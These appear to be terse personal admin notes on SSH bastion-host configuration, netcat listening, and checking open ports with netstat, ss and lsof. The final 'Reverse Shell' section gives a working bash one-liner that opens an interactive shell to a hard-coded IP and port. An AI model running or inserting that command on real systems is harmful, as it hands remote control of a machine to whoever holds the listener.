Bastion Host :
~/.ssh/config
Host bastion
Hostname ip
User ubuntu
IdentityFile key.pem
Host private
IdentityFile key.pem
User ubuntu
ProxyCommand ssh -W %h:%p bastion
----------------------------------------------
ssh-add key.pem
Host bastion
Hostname ip
User ubuntu
ForwardAgent yes
Host private
User ubuntu
ProxyCommand ssh -W %h:%p bastion
-------------------
Server : nc -lp 1110
Client : nc ip 1110
netstat
netstat -tulpn
ss
ss | grep ssh
lsof
lsof -i tcp:80
---------------------
Reverse Shell
/bin/bash -i >& /dev/tcp/34.218.246.4/1110 0>&1
--------